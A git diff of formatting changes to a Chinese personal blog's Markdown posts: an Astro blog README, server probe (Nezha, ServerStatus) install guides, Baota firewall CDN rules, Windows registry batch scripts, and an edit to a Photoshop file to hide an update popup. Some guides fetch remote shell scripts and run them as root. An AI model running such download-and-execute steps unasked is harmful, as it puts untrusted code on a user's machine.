{ href: '/', text: '首页' },
|
{ href: "/", text: "首页" },
|
||||||
{ href: '/articles', text: '文章' },
|
{ href: "/articles", text: "文章" },
|
||||||
{ href: '/movies', text: '观影' },
|
{ href: "/movies", text: "观影" },
|
||||||
{ href: '/books', text: '读书' },
|
{ href: "/books", text: "读书" },
|
||||||
{ href: '/projects', text: '项目' },
|
{ href: "/projects", text: "项目" },
|
||||||
{ href: '/other', text: '其他' }
|
{ href: "/other", text: "其他" },
|
||||||
];
|
];
|
||||||
|
|
||||||
// 备案信息(如果需要)
|
// 备案信息(如果需要)
|
||||||
export const ICP = '你的ICP备案号';
|
export const ICP = "你的ICP备案号";
|
||||||
export const PSB_ICP = '你的公安备案号';
|
export const PSB_ICP = "你的公安备案号";
|
||||||
export const PSB_ICP_URL = '备案链接';
|
export const PSB_ICP_URL = "备案链接";
|
||||||
|
|
||||||
// 豆瓣配置
|
// 豆瓣配置
|
||||||
export const DOUBAN_ID = '你的豆瓣ID';
|
export const DOUBAN_ID = "你的豆瓣ID";
|
||||||
|
|
||||||
// 旅行足迹
|
// 旅行足迹
|
||||||
export const VISITED_PLACES = ['中国-北京', '中国-上海', '美国-纽约'];
|
export const VISITED_PLACES = ["中国-北京", "中国-上海", "美国-纽约"];
|
||||||
```
|
```
|
||||||
|
|
||||||
## 文章写作
|
## 文章写作
|
||||||
@ -98,9 +98,9 @@ tags: ["标签1", "标签2"]
|
|||||||
|
|
||||||
```typescript
|
```typescript
|
||||||
export const ARTICLE_EXPIRY_CONFIG = {
|
export const ARTICLE_EXPIRY_CONFIG = {
|
||||||
enabled: true, // 是否启用文章过期提醒
|
enabled: true, // 是否启用文章过期提醒
|
||||||
expiryDays: 365, // 文章过期天数
|
expiryDays: 365, // 文章过期天数
|
||||||
warningMessage: '这篇文章已经发布超过一年了,内容可能已经过时,请谨慎参考。' // 提醒消息
|
warningMessage: "这篇文章已经发布超过一年了,内容可能已经过时,请谨慎参考。", // 提醒消息
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
|
|
||||||
@ -146,7 +146,7 @@ import { GitPlatform } from '@/components/GitProjectCollection';
|
|||||||
|
|
||||||
`MediaGrid` 组件用于展示豆瓣的观影和读书记录。
|
`MediaGrid` 组件用于展示豆瓣的观影和读书记录。
|
||||||
|
|
||||||
#### 基本用法
|
基本用法
|
||||||
|
|
||||||
```astro
|
```astro
|
||||||
---
|
---
|
||||||
@ -174,7 +174,7 @@ import MediaGrid from '@/components/MediaGrid.astro';
|
|||||||
|
|
||||||
`WorldHeatmap` 组件用于展示你去过的地方,以热力图的形式在世界地图上显示。
|
`WorldHeatmap` 组件用于展示你去过的地方,以热力图的形式在世界地图上显示。
|
||||||
|
|
||||||
#### 基本用法
|
基本用法
|
||||||
|
|
||||||
在 `src/consts.ts` 中配置你去过的地方:
|
在 `src/consts.ts` 中配置你去过的地方:
|
||||||
|
|
||||||
@ -182,13 +182,13 @@ import MediaGrid from '@/components/MediaGrid.astro';
|
|||||||
// 配置你去过的地方
|
// 配置你去过的地方
|
||||||
export const VISITED_PLACES = [
|
export const VISITED_PLACES = [
|
||||||
// 国内地区格式:'中国-省份/城市'
|
// 国内地区格式:'中国-省份/城市'
|
||||||
'中国-黑龙江',
|
"中国-黑龙江",
|
||||||
'中国-北京',
|
"中国-北京",
|
||||||
'中国-上海',
|
"中国-上海",
|
||||||
// 国外地区直接使用国家名
|
// 国外地区直接使用国家名
|
||||||
'马来西亚',
|
"马来西亚",
|
||||||
'泰国',
|
"泰国",
|
||||||
'美国'
|
"美国",
|
||||||
];
|
];
|
||||||
```
|
```
|
||||||
|
|
||||||
@ -214,7 +214,6 @@ import { VISITED_PLACES } from '@/consts';
|
|||||||
</Layout>
|
</Layout>
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## 主题切换
|
## 主题切换
|
||||||
|
|
||||||
系统支持三种主题模式:
|
系统支持三种主题模式:
|
||||||
@ -236,28 +235,26 @@ import { VISITED_PLACES } from '@/consts';
|
|||||||
|
|
||||||
1. 克隆项目
|
1. 克隆项目
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
git clone https://github.com/your-username/echoes.git
|
git clone https://github.com/your-username/echoes.git
|
||||||
cd echoes
|
cd echoes
|
||||||
```
|
```
|
||||||
|
|
||||||
2. 安装依赖
|
2. 安装依赖
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
npm install
|
npm install
|
||||||
# 或者使用 pnpm
|
```
|
||||||
pnpm install
|
|
||||||
```
|
|
||||||
|
|
||||||
3. 修改配置
|
3. 修改配置
|
||||||
|
|
||||||
编辑 `src/consts.ts` 文件,更新网站配置信息。
|
编辑 `src/consts.ts` 文件,更新网站配置信息。
|
||||||
|
|
||||||
4. 本地运行
|
4. 本地运行
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
npm run dev
|
npm run dev
|
||||||
```
|
```
|
||||||
|
|
||||||
访问 `http://localhost:4321` 查看效果。
|
访问 `http://localhost:4321` 查看效果。
|
||||||
|
|
||||||
@ -266,10 +263,11 @@ npm run dev
|
|||||||
### 部署方式选择
|
### 部署方式选择
|
||||||
|
|
||||||
1. **Vercel 部署(推荐)**
|
1. **Vercel 部署(推荐)**
|
||||||
|
|
||||||
- 支持所有功能
|
- 支持所有功能
|
||||||
- 自动部署和 HTTPS
|
- 自动部署和 HTTPS
|
||||||
- 支持 API 路由和动态数据
|
- 支持 API 路由和动态数据
|
||||||
- 可配合多吉云CDN实现自动刷新缓存
|
- 可配合多吉云 CDN 实现自动刷新缓存
|
||||||
|
|
||||||
2. **静态托管(如腾讯云)**
|
2. **静态托管(如腾讯云)**
|
||||||
- 仅支持静态文件
|
- 仅支持静态文件
|
||||||
@ -278,13 +276,13 @@ npm run dev
|
|||||||
- 动态数据获取
|
- 动态数据获取
|
||||||
- 需要手动配置和上传
|
- 需要手动配置和上传
|
||||||
|
|
||||||
### CDN加速配置
|
### CDN 加速配置
|
||||||
|
|
||||||
博客支持通过多吉云CDN进行加速,并可通过GitHub Actions实现自动刷新缓存:
|
博客支持通过多吉云 CDN 进行加速,并可通过 GitHub Actions 实现自动刷新缓存:
|
||||||
|
|
||||||
1. 按照[CDN配置指南](./cdn配置)配置多吉云CDN
|
1. 按照[CDN 配置指南](./cdn配置)配置多吉云 CDN
|
||||||
2. 按照[GitHub Actions自动刷新CDN缓存指南](./github-actions自动刷新多吉云_cdn缓存)配置自动刷新
|
2. 按照[GitHub Actions 自动刷新 CDN 缓存指南](./github-actions自动刷新多吉云_cdn缓存)配置自动刷新
|
||||||
3. 配置完成后,每次博客更新时,CDN缓存将自动刷新
|
3. 配置完成后,每次博客更新时,CDN 缓存将自动刷新
|
||||||
|
|
||||||
### 部署步骤
|
### 部署步骤
|
||||||
|
|
||||||
@ -299,32 +297,35 @@ npm run dev
|
|||||||
|
|
||||||
1. 修改 `astro.config.mjs`:
|
1. 修改 `astro.config.mjs`:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
export default defineConfig({
|
export default defineConfig({
|
||||||
site: SITE_URL,
|
site: SITE_URL,
|
||||||
output: "static",
|
output: "static",
|
||||||
adapter: undefined,
|
adapter: undefined,
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
|
|
||||||
2. 构建并上传:
|
2. 构建并上传:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
npm run build
|
npm run build
|
||||||
# 上传 dist/client 目录到静态托管服务
|
# 上传 dist/client 目录到静态托管服务
|
||||||
```
|
```
|
||||||
|
|
||||||
## 常见问题
|
## 常见问题
|
||||||
|
|
||||||
1. **图片无法显示**
|
1. **图片无法显示**
|
||||||
|
|
||||||
- 检查图片路径是否正确
|
- 检查图片路径是否正确
|
||||||
- 确保图片已放入 `public` 目录
|
- 确保图片已放入 `public` 目录
|
||||||
|
|
||||||
2. **豆瓣数据无法获取**
|
2. **豆瓣数据无法获取**
|
||||||
|
|
||||||
- 确认豆瓣 ID 配置正确
|
- 确认豆瓣 ID 配置正确
|
||||||
- 检查豆瓣记录是否公开
|
- 检查豆瓣记录是否公开
|
||||||
|
|
||||||
3. **Git 项目无法显示**
|
3. **Git 项目无法显示**
|
||||||
|
|
||||||
- 验证用户名配置
|
- 验证用户名配置
|
||||||
- 确认 API 访问限制
|
- 确认 API 访问限制
|
||||||
|
|
||||||
|
@ -528,7 +528,7 @@ main.main {
|
|||||||
{{ end }}
|
{{ end }}
|
||||||
```
|
```
|
||||||
|
|
||||||
#### 代码块引入MacOS窗口样式
|
#### 代码块引入 MacOS 窗口样式
|
||||||
|
|
||||||
在主题目录下的`assets`文件夹中的`img`文件夹中,创建一个名为`code-header.svg`的文件,在文件中写入以下内容:
|
在主题目录下的`assets`文件夹中的`img`文件夹中,创建一个名为`code-header.svg`的文件,在文件中写入以下内容:
|
||||||
|
|
||||||
|
@ -4,12 +4,11 @@ date: 2025-01-15T00:34:11Z
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
||||||
## 前端
|
## 前端
|
||||||
|
|
||||||
## tailwind
|
## tailwind
|
||||||
|
|
||||||
> 快速构建css样式器
|
> 快速构建 css 样式器
|
||||||
|
|
||||||
### 可响应式布局
|
### 可响应式布局
|
||||||
|
|
||||||
@ -35,13 +34,13 @@ module.exports = {
|
|||||||
### 安全
|
### 安全
|
||||||
|
|
||||||
1. json web token:保证用户令牌不是篡改或伪造,注意是明文传输
|
1. json web token:保证用户令牌不是篡改或伪造,注意是明文传输
|
||||||
2. hash密码:避免数据库泄漏带来的隐私风险
|
2. hash 密码:避免数据库泄漏带来的隐私风险
|
||||||
3. cors:可以避免其他站点的非法请求,不过只适用用浏览器
|
3. cors:可以避免其他站点的非法请求,不过只适用用浏览器
|
||||||
4. 构建sql查询器中间件:使sql语句可以结构化,可以根据危险等级构建不同的查询等级,最大程度避免xxs
|
4. 构建 sql 查询器中间件:使 sql 语句可以结构化,可以根据危险等级构建不同的查询等级,最大程度避免 xxs
|
||||||
|
|
||||||
### 接口
|
### 接口
|
||||||
|
|
||||||
1. 适用restful接口具有很好的可读性
|
1. 适用 restful 接口具有很好的可读性
|
||||||
|
|
||||||
## 其他
|
## 其他
|
||||||
|
|
||||||
|
@ -6,7 +6,7 @@ tags: [cloudflare]
|
|||||||
|
|
||||||
项目地址:[https://github.com/csh733/autouam_control](https://github.com/csh733/autouam_control)
|
项目地址:[https://github.com/csh733/autouam_control](https://github.com/csh733/autouam_control)
|
||||||
|
|
||||||
**原理:** 通过检测系统负载(cpu或load)自动开启 Cloudflare UAM 和 challenge(验证码)
|
**原理:** 通过检测系统负载(cpu 或 load)自动开启 Cloudflare UAM 和 challenge(验证码)
|
||||||
|
|
||||||
## 宝塔面板计划任务
|
## 宝塔面板计划任务
|
||||||
|
|
||||||
@ -230,3 +230,4 @@ for ((;;)); do
|
|||||||
sleep $interval
|
sleep $interval
|
||||||
clear
|
clear
|
||||||
done
|
done
|
||||||
|
```
|
||||||
|
@ -6,15 +6,15 @@ tags: []
|
|||||||
|
|
||||||
## 百度站长平台
|
## 百度站长平台
|
||||||
|
|
||||||
[百度搜索引擎][1]是国内最主流的搜索引擎,当然百度站长平台也是站长们使用最多的平台,功能很齐全,网站各个方面的数据都显示的很到位,能够很好地辅助站长们进行SEO优化。
|
[百度搜索引擎][1]是国内最主流的搜索引擎,当然百度站长平台也是站长们使用最多的平台,功能很齐全,网站各个方面的数据都显示的很到位,能够很好地辅助站长们进行 SEO 优化。
|
||||||
|
|
||||||
## 搜狗站长平台
|
## 搜狗站长平台
|
||||||
|
|
||||||
[搜狗站长平台][2]和百度相比就显得略逊一些,只提供一些基础的功能。虽然前一段时间有一份报告称搜狗PC用户已经超越百度,但目前搜狗站长平台还是很少更新,站长学院的公告在17年之后就没有更新了。
|
[搜狗站长平台][2]和百度相比就显得略逊一些,只提供一些基础的功能。虽然前一段时间有一份报告称搜狗 PC 用户已经超越百度,但目前搜狗站长平台还是很少更新,站长学院的公告在 17 年之后就没有更新了。
|
||||||
|
|
||||||
## 360站长平台
|
## 360 站长平台
|
||||||
|
|
||||||
[360站长平台][3]在国内勉强排上第二,和百度相比360的功能还不够完善,算法也是偶尔更新一次,而且不知道你有没有发现360收录干货文章特别难,这也让很多站长放弃了360优化。
|
[360 站长平台][3]在国内勉强排上第二,和百度相比 360 的功能还不够完善,算法也是偶尔更新一次,而且不知道你有没有发现 360 收录干货文章特别难,这也让很多站长放弃了 360 优化。
|
||||||
|
|
||||||
## 神马站长平台
|
## 神马站长平台
|
||||||
|
|
||||||
@ -22,7 +22,7 @@ tags: []
|
|||||||
|
|
||||||
## 必应站长平台
|
## 必应站长平台
|
||||||
|
|
||||||
[必应][5]是微软旗下的搜索引擎,记得以前更新W10的时候浏览器自带的就是必应搜索引擎,国内用户很少,估计有的人听都没听过。
|
[必应][5]是微软旗下的搜索引擎,记得以前更新 W10 的时候浏览器自带的就是必应搜索引擎,国内用户很少,估计有的人听都没听过。
|
||||||
|
|
||||||
## 头条站长平台
|
## 头条站长平台
|
||||||
|
|
||||||
|
@ -33,7 +33,7 @@ tags: ["服务器探针", "cloudflare"]
|
|||||||
|
|
||||||
#### 部署面板服务
|
#### 部署面板服务
|
||||||
|
|
||||||
github镜像
|
github 镜像
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -L https://raw.githubusercontent.com/naiba/nezha/master/script/install.sh -o nezha.sh && chmod +x nezha.sh
|
curl -L https://raw.githubusercontent.com/naiba/nezha/master/script/install.sh -o nezha.sh && chmod +x nezha.sh
|
||||||
@ -94,7 +94,7 @@ proxy_set_header Host $host;
|
|||||||
|
|
||||||
[nssm](http://nssm.cc/download)
|
[nssm](http://nssm.cc/download)
|
||||||
|
|
||||||
下载软件后,解压到任意位置,然后按 Win + R 打开运行窗口,cd nssm解压的位置。
|
下载软件后,解压到任意位置,然后按 Win + R 打开运行窗口,cd nssm 解压的位置。
|
||||||
|
|
||||||
### 二、设置 NSSM
|
### 二、设置 NSSM
|
||||||
|
|
||||||
@ -104,7 +104,7 @@ proxy_set_header Host $host;
|
|||||||
nssm install <servername>
|
nssm install <servername>
|
||||||
```
|
```
|
||||||
|
|
||||||
>如: nssm install nezha
|
> 如: nssm install nezha
|
||||||
|
|
||||||
弹出 UI,设置如下:
|
弹出 UI,设置如下:
|
||||||
|
|
||||||
@ -120,11 +120,11 @@ Arguments: 启动参数
|
|||||||
-i {AgentID} -s {Serverip}:{Port} -p {AgentKey} -d
|
-i {AgentID} -s {Serverip}:{Port} -p {AgentKey} -d
|
||||||
```
|
```
|
||||||
|
|
||||||
>例如:
|
> 例如:
|
||||||
>
|
>
|
||||||
>-i 10 -s 8.8.8.8:55555 -p 8aeccc7babe9c3cb0 -d
|
> -i 10 -s 8.8.8.8:55555 -p 8aeccc7babe9c3cb0 -d
|
||||||
>
|
>
|
||||||
>自己对应修改,填写完毕后,点击 Install Servce。
|
> 自己对应修改,填写完毕后,点击 Install Servce。
|
||||||
|
|
||||||
### 三、启动服务
|
### 三、启动服务
|
||||||
|
|
||||||
|
@ -4,17 +4,17 @@ date: 2023-07-10T20:21:00Z
|
|||||||
tags: ["cloudflare"]
|
tags: ["cloudflare"]
|
||||||
---
|
---
|
||||||
|
|
||||||
受限于宝塔面板默认防火墙Firewalld的限制,要想宝塔面板下站点如何只限定CDN的IP节点回源请求的话,最简便有效的办法就是将CDN 的IP节点一个一个的加入到宝塔的【端口规则】里,需要限制哪个端口就在哪个端口下添加。
|
受限于宝塔面板默认防火墙 Firewalld 的限制,要想宝塔面板下站点如何只限定 CDN 的 IP 节点回源请求的话,最简便有效的办法就是将 CDN 的 IP 节点一个一个的加入到宝塔的【端口规则】里,需要限制哪个端口就在哪个端口下添加。
|
||||||
|
|
||||||
## 1. 修改所有IP为指定IP
|
## 1. 修改所有 IP 为指定 IP
|
||||||
|
|
||||||
我们选择的是443端口,默认宝塔是开放443端口给所有IP的,所以这里我们必须修改443端口规则为"指定IP",切记切记哦!
|
我们选择的是 443 端口,默认宝塔是开放 443 端口给所有 IP 的,所以这里我们必须修改 443 端口规则为"指定 IP",切记切记哦!
|
||||||
|
|
||||||
## 2. 添加CDN 节点IP地址段
|
## 2. 添加 CDN 节点 IP 地址段
|
||||||
|
|
||||||
给443添加了一个CloudFlare的IPv4节点IP地址段,意思就是这个103.21.244.0/22地址段的IP都可以回源请求443端口。具体CloudFlare的节点IP可以到这里查看:[www.cloudflare-cn.com/ips/](www.cloudflare-cn.com/ips/)
|
给 443 添加了一个 CloudFlare 的 IPv4 节点 IP 地址段,意思就是这个 103.21.244.0/22 地址段的 IP 都可以回源请求 443 端口。具体 CloudFlare 的节点 IP 可以到这里查看:[www.cloudflare-cn.com/ips/](www.cloudflare-cn.com/ips/)
|
||||||
|
|
||||||
剩下的我们只需要一个一个的把CloudFlare的IPv4节点IP地址段这样添加即可,如果是80端口也是同样的。有人会说这样很麻烦,效率太低不科学,那么我们可以使用宝塔的【导出规则】和【导入规则】来批量的添加,具体步骤很简单,我们可以制作一个导入CloudFlare的IP节点的.json,具体内容如下参考:
|
剩下的我们只需要一个一个的把 CloudFlare 的 IPv4 节点 IP 地址段这样添加即可,如果是 80 端口也是同样的。有人会说这样很麻烦,效率太低不科学,那么我们可以使用宝塔的【导出规则】和【导入规则】来批量的添加,具体步骤很简单,我们可以制作一个导入 CloudFlare 的 IP 节点的.json,具体内容如下参考:
|
||||||
|
|
||||||
```json
|
```json
|
||||||
43|tcp|443|accept|131.0.72.0/22|131.0.72.0/22|2023-07-10 20:01:07||0|
|
43|tcp|443|accept|131.0.72.0/22|131.0.72.0/22|2023-07-10 20:01:07||0|
|
||||||
|
@ -57,9 +57,9 @@ theme: 主题名字 # 主题名字,和 themes 文件夹下的一致
|
|||||||
2. 打开 PowerShell 进入站点文件夹
|
2. 打开 PowerShell 进入站点文件夹
|
||||||
3. 查看 Hugo 版本号
|
3. 查看 Hugo 版本号
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
./hugo version
|
./hugo version
|
||||||
```
|
```
|
||||||
|
|
||||||
4. 设置 Hugo 版本号
|
4. 设置 Hugo 版本号
|
||||||
|
|
||||||
|
@ -6,10 +6,10 @@ tags: []
|
|||||||
|
|
||||||
## 1. 环境准备
|
## 1. 环境准备
|
||||||
|
|
||||||
* [宝塔面板](https://www.bt.cn/new/index.html)
|
- [宝塔面板](https://www.bt.cn/new/index.html)
|
||||||
* PHP 7.4
|
- PHP 7.4
|
||||||
* MySQL 5.7 / 8 或 MariaDB 10
|
- MySQL 5.7 / 8 或 MariaDB 10
|
||||||
* Apache HTTP Web Server 或 Nginx
|
- Apache HTTP Web Server 或 Nginx
|
||||||
|
|
||||||
## 2. 下载
|
## 2. 下载
|
||||||
|
|
||||||
|
@ -24,4 +24,4 @@ tags: []
|
|||||||
?>
|
?>
|
||||||
```
|
```
|
||||||
|
|
||||||
现在,你可以通过访问`http://your_website.com/api.php` 来使用这个随机图片API了。每次访问这个URL时,它都会随机选择一个图片文件并重定向到该图片的URL。
|
现在,你可以通过访问`http://your_website.com/api.php` 来使用这个随机图片 API 了。每次访问这个 URL 时,它都会随机选择一个图片文件并重定向到该图片的 URL。
|
||||||
|
@ -1,23 +1,23 @@
|
|||||||
---
|
---
|
||||||
title: "服务器探针(ServerStatus探针)安装教程"
|
title: "服务器探针(ServerStatus探针)安装教程"
|
||||||
date: 2021-07-31T10:02:00+08:00
|
date: 2021-07-31T10:02:00+08:00
|
||||||
tags: [ "服务器探针" ]
|
tags: ["服务器探针"]
|
||||||
---
|
---
|
||||||
|
|
||||||
## 食用方式
|
## 食用方式
|
||||||
|
|
||||||
PS:(以下使用方式二,方式一直接运行傻瓜安装即可)
|
PS:(以下使用方式二,方式一直接运行傻瓜安装即可)
|
||||||
|
|
||||||
### 脚本进行安装(会要求安装Caddy,与Nginx不能同时安装,有能力的自行DIY)
|
### 脚本进行安装(会要求安装 Caddy,与 Nginx 不能同时安装,有能力的自行 DIY)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
wget https://raw.githubusercontent.com/CokeMine/ServerStatus-Hotaru/master/status.sh
|
wget https://raw.githubusercontent.com/CokeMine/ServerStatus-Hotaru/master/status.sh
|
||||||
bash status.sh
|
bash status.sh
|
||||||
```
|
```
|
||||||
|
|
||||||
### 手动编译安装,可搭配宝塔使用Nginx提供服务
|
### 手动编译安装,可搭配宝塔使用 Nginx 提供服务
|
||||||
|
|
||||||
#### 下载ServerStatus-USee
|
#### 下载 ServerStatus-USee
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
git clone https://gitee.com/useenet/serverTZ.git
|
git clone https://gitee.com/useenet/serverTZ.git
|
||||||
@ -26,7 +26,7 @@ mv serverTZ /usr/serverTZ
|
|||||||
|
|
||||||
## 安装服务端
|
## 安装服务端
|
||||||
|
|
||||||
### 使用宝塔创建一个空网页(PS:域名框使用域名或IP均可)
|
### 使用宝塔创建一个空网页(PS:域名框使用域名或 IP 均可)
|
||||||
|
|
||||||
### 复制监控展示页到宝塔新建的网站目录中
|
### 复制监控展示页到宝塔新建的网站目录中
|
||||||
|
|
||||||
@ -58,35 +58,35 @@ vim config.json
|
|||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"servers": [
|
"servers": [
|
||||||
{
|
{
|
||||||
"username": "username",
|
"username": "username",
|
||||||
"password": "password",
|
"password": "password",
|
||||||
"name": "vpsname",
|
"name": "vpsname",
|
||||||
"type": "type",
|
"type": "type",
|
||||||
"host": "No",
|
"host": "No",
|
||||||
"location": "China",
|
"location": "China",
|
||||||
"disabled": false,
|
"disabled": false,
|
||||||
"region": "CN"
|
"region": "CN"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"username": "连接用户名",
|
"username": "连接用户名",
|
||||||
"password": "连接密码",
|
"password": "连接密码",
|
||||||
"name": "监控显示名称",
|
"name": "监控显示名称",
|
||||||
"type": "监控显示类型",
|
"type": "监控显示类型",
|
||||||
"host": "No",
|
"host": "No",
|
||||||
"location": "国家",
|
"location": "国家",
|
||||||
"disabled": false,
|
"disabled": false,
|
||||||
"region": "国旗"
|
"region": "国旗"
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
### 在宝塔中打开serverTZ默认端口
|
### 在宝塔中打开 serverTZ 默认端口
|
||||||
|
|
||||||
> 35601
|
> 35601
|
||||||
|
|
||||||
### 编辑完成后,在server目下进行测试,webdir为web站点路径
|
### 编辑完成后,在 server 目下进行测试,webdir 为 web 站点路径
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
./sergate --config=config.json --web-dir=/www/wwwroot/站点
|
./sergate --config=config.json --web-dir=/www/wwwroot/站点
|
||||||
@ -115,9 +115,7 @@ systemctl enable serverTZs.service
|
|||||||
```
|
```
|
||||||
|
|
||||||
> #赋权
|
> #赋权
|
||||||
> #拷贝进系统服务目录
|
> #拷贝进系统服务目录 #重新加载系统服务 #启动服务端并设置开机自启
|
||||||
> #重新加载系统服务
|
|
||||||
> #启动服务端并设置开机自启
|
|
||||||
|
|
||||||
### 在配置文件中增加服务器主机后重启
|
### 在配置文件中增加服务器主机后重启
|
||||||
|
|
||||||
@ -142,7 +140,7 @@ mv serverTZ /usr/serverTZ
|
|||||||
cd /usr/serverTZ/clients
|
cd /usr/serverTZ/clients
|
||||||
```
|
```
|
||||||
|
|
||||||
### 检查已安装的python版本,版本需要2.7及以上
|
### 检查已安装的 python 版本,版本需要 2.7 及以上
|
||||||
|
|
||||||
```python
|
```python
|
||||||
python -V
|
python -V
|
||||||
@ -198,8 +196,7 @@ systemctl enable serverTZc.service
|
|||||||
```
|
```
|
||||||
|
|
||||||
> #赋权
|
> #赋权
|
||||||
> #拷贝进系统服务目录
|
> #拷贝进系统服务目录 #重新加载系统服务
|
||||||
> #重新加载系统服务
|
|
||||||
> #启动服务端并设置开机自启
|
> #启动服务端并设置开机自启
|
||||||
|
|
||||||
在配置文件中增加服务器主机后重启
|
在配置文件中增加服务器主机后重启
|
||||||
|
@ -13,12 +13,13 @@ tags: []
|
|||||||
### 出现黄色更新弹窗
|
### 出现黄色更新弹窗
|
||||||
|
|
||||||
1. 打开文件目录:
|
1. 打开文件目录:
|
||||||
- Mac 修改文件目录:`/Applications/Adobe Photoshop (Beta)/Adobe Photoshop (Beta).app/Contents/Required/UXP/com.adobe.photoshop.inAppMessaging/js/0.js`
|
|
||||||
- Windows 目录(如果是 C 盘):`C:\Program Files\Adobe\Adobe Photoshop 2023\Required\UXP\com.adobe.photoshop.inAppMessaging\js\0.js`
|
- Mac 修改文件目录:`/Applications/Adobe Photoshop (Beta)/Adobe Photoshop (Beta).app/Contents/Required/UXP/com.adobe.photoshop.inAppMessaging/js/0.js`
|
||||||
|
- Windows 目录(如果是 C 盘):`C:\Program Files\Adobe\Adobe Photoshop 2023\Required\UXP\com.adobe.photoshop.inAppMessaging\js\0.js`
|
||||||
|
|
||||||
2. 修改 `0.js` 文件:
|
2. 修改 `0.js` 文件:
|
||||||
- 搜索 `"996633",`,结果有两处。找到第一处,在后面加上 `",display:none",`(别忘了英文逗号)。
|
- 搜索 `"996633",`,结果有两处。找到第一处,在后面加上 `",display:none",`(别忘了英文逗号)。
|
||||||
- 保存文件,退出 Photoshop,重启 Photoshop。提示框应消失。
|
- 保存文件,退出 Photoshop,重启 Photoshop。提示框应消失。
|
||||||
|
|
||||||
### Adobe Creative Cloud 丢失或损坏提示
|
### Adobe Creative Cloud 丢失或损坏提示
|
||||||
|
|
||||||
|
@ -10,5 +10,5 @@ tags: []
|
|||||||
2. 找到时钟和区域
|
2. 找到时钟和区域
|
||||||
3. 选择区域
|
3. 选择区域
|
||||||
4. 打开管理
|
4. 打开管理
|
||||||
5. 选择非Unicode程序的语言
|
5. 选择非 Unicode 程序的语言
|
||||||
6. 更改系统区域设置为中国(需要提供管理员权限)
|
6. 更改系统区域设置为中国(需要提供管理员权限)
|
||||||
|
@ -8,20 +8,20 @@ tags: []
|
|||||||
|
|
||||||
1. 打开记事本或其他文本编辑器,将下面这段代码复制粘贴到文本编辑器中。
|
1. 打开记事本或其他文本编辑器,将下面这段代码复制粘贴到文本编辑器中。
|
||||||
|
|
||||||
```batch
|
```batch
|
||||||
@echo off
|
@echo off
|
||||||
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f
|
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f
|
||||||
taskkill /f /im explorer.exe
|
taskkill /f /im explorer.exe
|
||||||
attrib -s -r -h %userprofile%\AppData\Local\IconCache.db
|
attrib -s -r -h %userprofile%\AppData\Local\IconCache.db
|
||||||
del %userprofile%\AppData\Local\IconCache.db
|
del %userprofile%\AppData\Local\IconCache.db
|
||||||
start explorer.exe
|
start explorer.exe
|
||||||
```
|
```
|
||||||
|
|
||||||
2. 将文本编辑器中的代码另存为.bat文件,例如 remove_shortcut.bat,保存在桌面上。
|
2. 将文本编辑器中的代码另存为.bat 文件,例如 remove_shortcut.bat,保存在桌面上。
|
||||||
|
|
||||||
3. 点击双击打开保存在桌面上的 remove_shortcut.bat 文件,代码会自动执行,去除桌面图标上的快捷方式。
|
3. 点击双击打开保存在桌面上的 remove_shortcut.bat 文件,代码会自动执行,去除桌面图标上的快捷方式。
|
||||||
|
|
||||||
4. 如果您的Windows系统账户没有管理员权限,请使用管理员权限运行 remove_shortcut.bat 文件。
|
4. 如果您的 Windows 系统账户没有管理员权限,请使用管理员权限运行 remove_shortcut.bat 文件。
|
||||||
|
|
||||||
5. 执行完毕后,命令行窗口会闪一下,随后资源管理器(explorer.exe)会立即自动重启。
|
5. 执行完毕后,命令行窗口会闪一下,随后资源管理器(explorer.exe)会立即自动重启。
|
||||||
|
|
||||||
@ -29,20 +29,20 @@ tags: []
|
|||||||
|
|
||||||
1. 打开记事本或其他文本编辑器,将下面这段代码复制粘贴到文本编辑器中。
|
1. 打开记事本或其他文本编辑器,将下面这段代码复制粘贴到文本编辑器中。
|
||||||
|
|
||||||
```batch
|
```batch
|
||||||
@echo off
|
@echo off
|
||||||
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f
|
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f
|
||||||
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 77 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f
|
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 77 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f
|
||||||
taskkill /f /im explorer.exe
|
taskkill /f /im explorer.exe
|
||||||
attrib -s -r -h %userprofile%\AppData\Local\IconCache.db
|
attrib -s -r -h %userprofile%\AppData\Local\IconCache.db
|
||||||
del %userprofile%\AppData\Local\IconCache.db
|
del %userprofile%\AppData\Local\IconCache.db
|
||||||
start explorer.exe
|
start explorer.exe
|
||||||
```
|
```
|
||||||
|
|
||||||
2. 将文本编辑器中的代码另存为.bat文件,例如 remove_security.bat,保存在桌面上。
|
2. 将文本编辑器中的代码另存为.bat 文件,例如 remove_security.bat,保存在桌面上。
|
||||||
|
